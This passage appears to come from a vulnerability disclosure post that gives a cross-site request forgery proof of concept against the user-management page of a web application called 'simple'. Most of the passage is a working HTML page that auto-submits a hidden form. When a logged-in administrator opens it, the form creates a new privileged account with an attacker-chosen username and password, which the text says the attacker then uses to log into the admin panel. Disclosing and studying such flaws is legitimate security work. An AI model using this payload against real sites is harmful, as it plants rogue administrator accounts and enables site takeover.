Once exploited, the attacker can login to the admin panel (*http://localhost/simple/login.php <http://localhost/simple/login.php>*) using the username and the password he posted in the form. *CSRF PoC Code* ============= --> <html> <body> <form action=" http://localhost/simple/manage_users.php?action=update&type=new" method="POST"> <input type="hidden" name="sUsername" value="Besim" /> <input type="hidden" name="sFullname" value="Besim" /> <input type="hidden" name="sPassword" value="mehmet" /> <input type="hidden" name="sEmail" value="mehmet&#64;yopmail&#46;com"/> <input type="hidden" name="sAvatar" value="" /> <input type="hidden" name="sActive" value="on" /> <input type="hidden" name="sModComments" value="on" /> <input type="hidden" name="sDeleteEntries" value="on" /> <input type="hidden" name="sEditAny" value="on" /> <input type="hidden" name="submit" value="Create&#32;User" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html> -- Besim ALTiNOK
